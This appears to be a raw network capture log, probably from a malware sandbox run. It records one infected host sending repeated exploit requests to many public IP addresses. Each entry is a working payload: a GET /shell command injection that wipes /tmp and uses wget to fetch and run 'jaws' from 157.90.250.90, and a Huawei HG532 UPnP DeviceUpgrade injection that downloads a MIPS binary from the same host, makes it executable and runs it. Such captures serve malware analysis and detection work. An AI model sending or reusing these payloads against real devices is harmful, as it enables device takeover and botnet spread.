Dec 3, 2024 21:30:48.302236080 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	36088	34.35.216.85	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.303081036 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	37520	212.76.170.100	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.303730011 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	54956	20.208.169.44	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.334357977 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	38070	126.106.81.125	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.335051060 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	53798	70.59.74.111	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.396311998 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	48512	185.106.6.240	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.397048950 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	40834	151.62.98.232	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.576296091 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	34734	59.157.117.58	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.577359915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	41920	42.157.213.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:48.578053951 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	52264	41.75.37.101	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.309386969 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	39614	197.135.129.229	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.310198069 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	38512	41.91.233.173	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.375392914 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	35808	156.69.33.115	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.376308918 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	51070	41.68.120.66	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.377051115 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	50372	197.9.55.89	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.377732992 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	40782	156.70.75.133	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.378473997 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	58916	197.222.83.103	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.379121065 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	36032	156.110.125.63	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:49.379817963 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo 